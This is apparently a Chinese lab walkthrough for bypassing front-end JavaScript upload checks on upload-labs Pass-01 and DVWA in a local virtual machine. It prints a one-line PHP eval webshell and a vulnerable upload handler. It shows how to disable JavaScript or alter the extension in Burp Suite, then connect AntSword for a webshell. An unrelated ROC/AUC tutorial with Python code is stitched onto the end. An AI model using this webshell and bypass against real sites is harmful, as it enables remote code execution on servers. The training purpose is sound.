【文件上传绕过】——前端检测_前端js验证漏洞

一、实验目的:

1、通过本次实验掌握js验证原理
2、通过自写代码学习js验证过程;
3、通过upload-labs闯关游戏(Pass-01)掌握js前端绕过技术。

二、工具:

BurpSuite
火狐/谷歌浏览器
AntSword(蚁剑)

三、实验环境:

靶 机: windows10虚拟机:192.168.100.150
      自写上传页面代码
      文件上传漏洞闯关游戏
      DVWA靶场

攻击机: 物理机

四、实验目的:

1、自写上传代码,学习前端js验证过程及漏洞产生的原理;
2、通过upload-labs-master文件上传漏洞闯关游戏Pass-01DVWA靶场-low级别,掌握js绕过技术。

五、漏洞说明:

1. 漏洞原理:

  Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

2. js前端验证过程代码:

1、在windows10虚拟机的网站主目录下,创建一个fileupload/js_test/目录,自己构建上传页面,上传页面代码,前端验证index.html文件如下所示:

<!DOCTYPE html>
<html>
<head>
	<title>文件上传</title>
  <!-- 这里进行编码,编码格式为UTF-8,防止浏览器出现中文乱码 --> 
	<meta charset="utf-8">
</head>
<body>
  <!-- enctype="multipart/form-data":对表单传输的数据不需要进行编码(为防止传入后台进行编解码过程中,出现问题,故不进行编码处理) --> 
<form action="fileupload.php" onsubmit="return checkupload();" method="POST" enctype="multipart/form-data">
	请选择要上传的文件:<input type="file" name="uploadfile">
	<input type="submit" name="submit" value="提交">
</form>
<!-- 下面是使用js代码对上传的文件进行前端验证 --> 
<script type="text/javascript">
	function checkupload() {
    // alert(111);
    // 对上传的文件类型进行验证:
    // 1.获取上传文件名:
		var filetag = document.getElementById("uploadfile");
		var filename = filetag.value;
		// alert(filename)
    // 2.截取文件后缀名:
		var lastloc = filename.lastIndexof(".")+1;
		// alert(lastloc);
		var suffix = filename.substring(lastloc);
		// alert(suffix);
    // 3.对文件类型进行验证:
		if (suffix != "jpg"|"png") {
			alert("文件类型错误,上传失败");
			return false; 
		}
	}
</script>
</body>
</html>

2、在同一个目录下,创建一个后端fileupload.php文件:

<?php
header("Content-Type:text/html;charset=utf-8"); // 为了避免浏览器中文乱码,对页面进行编码,编码格式为utf-8
echo "<pre>";  //对数据进行格式化输出
if(isset($_FILES["file"])){
    $file = $_FILES["file"];
    $filename=$file["tmp_name"];
    $name=$file["name"];
    $name1=iconv("utf-8","gbk",$name); // 将字符串$name 从utf-8转换编码到gbk。这里是为了防止上传到服务器时,图片在服务器出现中文乱码。
    $destination="./upload/".$name1;
    move_uploaded_file($filename,$destination);
    }else{
        echo "上传文件有误";
    }
?>

六、实验过程:

1. 判断是否存在前端js绕过漏洞

  按F12(或者:在网页空白处"右击"-->选择:"检查")打开调试面板,选择网络,然后上传图片文件非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)

1.1 上传非图片文件:

1、创建一个test.php文件:
文件内容:

<?php @eval($_REQUEST['666']); ?>

2、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.php:

http://192.168.100.150/upload-labs-master/Pass-01/index.php


3、点击上传文件后,提示不允许上传该文件,并且没有数据流量产生:
通过上面的操作,发现没有数据向后台发送,说明前端有js验证,存在js绕过漏洞。

1.2 上传图片文件:

1、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.jpg:

2、点击上传文件后,发现网络中有数据流量产生:
通过上图可以看到,网络栏有数据传输,说明有数据向后台发送。

2. 绕过方法一:删除或者禁用js:

2.1 upload-labs闯关游戏(Pass-01):

通过windows10虚拟机 中的 upload-labs闯关游戏(Pass-01)进行实验:

1、在输入框中输入about:config点击接受

2、在搜索框中输入javascript然后找到javascript.enabled选项双击,出现false:


3、回到upload-labs-master选择第一关上传php文件:

通过上面操作,发现已经上传成功。

4、上传成功后允许js代码运行,如下图所示:
注:不开启js代码的话,如果页面通过ajxs编写的,可能就无法实现相应功能,比如这里的文件上传功能可能就不能使用了。

2.2 DVWA靶场-low级别:

1、打开DVWA靶场-low级别

2、上传一个1.jpg文件:


3、上传完成后,会显示文件路径,并会提示成功上传:


4、可以正常访问:

5、接下来,上传一个一句话木马文件test.php
文件内容:

<?php @eval($_REQUEST['666']); ?>

6、可以正常上传,并进行访问,并且能够解析成功:

3. 绕过方法二:使用代理上传文件,比如Burp Suite

1、在windows10虚拟机 桌面创建test.php文件,写入一句话木马保存,然后将后缀名改为jpg:

<?php @eval($_REQUEST['666']); ?>

2、进入闯关游戏Pass-01,点击浏览选中创建好的jpg文件:

3、打开Burp Suite,开启流量拦截:

4、在浏览器里面,打开Burp Suite代理流量,然后点击上传:

5、发现Burp Suite已经抓到数据:

6、将文件格式改成php文件,点击Forward发送数据包,并关闭浏览器代理:

7、查看windows10虚拟机\WWW\upload-labs-master\upload文件夹,出现test.php文件上传成功:

8、选中图片右击,选择复制图像链接,即可获得我们上传文件的URL,并进行访问:

9、把复制的URL,粘贴到蚁剑,测试连接,并添加连接:


10、可以看到已经成功获得windows10虚拟机的webshell:

### ROC 曲线概述 ROC曲线(受试者工作特征曲线)是一种广泛应用于二值分类器性能评估的图形化表示方法[^1]。该曲线通过描绘真阳性率(True Positive Rate, TPR),也称为敏感度或召回率,与假阳性率(False Positive Rate, FPR)之间的关系来展示不同阈值下的模型表现。 #### 真阳性和假阳性率计算方式 对于给定的一个概率预测模型,在不同的决策边界下可以得到一系列混淆矩阵。基于此,TPR 和 FPR 的定义如下: - **真阳性率 (TPR)** 或 召回率 = TP / (TP + FN),其中 TP 表示真正例数,FN 是指假反例数。 - **假阳性率 (FPR)** = FP / (FP + TN),这里 FP 指的是假正例数量,TN 则代表真实负例的数量。 ```python from sklearn.metrics import roc_curve, auc import matplotlib.pyplot as plt def plot_roc(y_true, y_scores): fpr, tpr, _ = roc_curve(y_true, y_scores) roc_auc = auc(fpr, tpr) plt.figure() lw = 2 plt.plot(fpr, tpr, color='darkorange', lw=lw, label=f'ROC curve (area = {roc_auc:.2f})') plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--') plt.xlim([0.0, 1.0]) plt.ylim([0.0, 1.05]) plt.xlabel('False Positive Rate') plt.ylabel('True Positive Rate') plt.title('Receiver Operating Characteristic Curve') plt.legend(loc="lower right") plt.show() # 假设我们有一个真实的标签列表和对应的分数/概率估计 plot_roc([0, 1, 1, 0, 1], [0.1, 0.4, 0.35, 0.8, 0.7]) ``` #### AUC 度量标准 AUC即曲线下面积(Area Under the Curve), 它衡量了整个二维空间内的积分区域大小。理想情况下,当分类器完美区分两类数据时,其AUC等于1;而随机猜测的结果对应于一条斜率为1的直线,此时AUC=0.5。因此,较高的AUC意味着更好的分类能力[^2]。 #### 使用场景考量 尽管ROC曲线提供了全面的理解视角,但在某些特定条件下可能不如其他类型的图表实用。例如,在处理高度不平衡的数据集时,精确率-召回率(Precision-Recall)图可能会提供更直观的信息[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值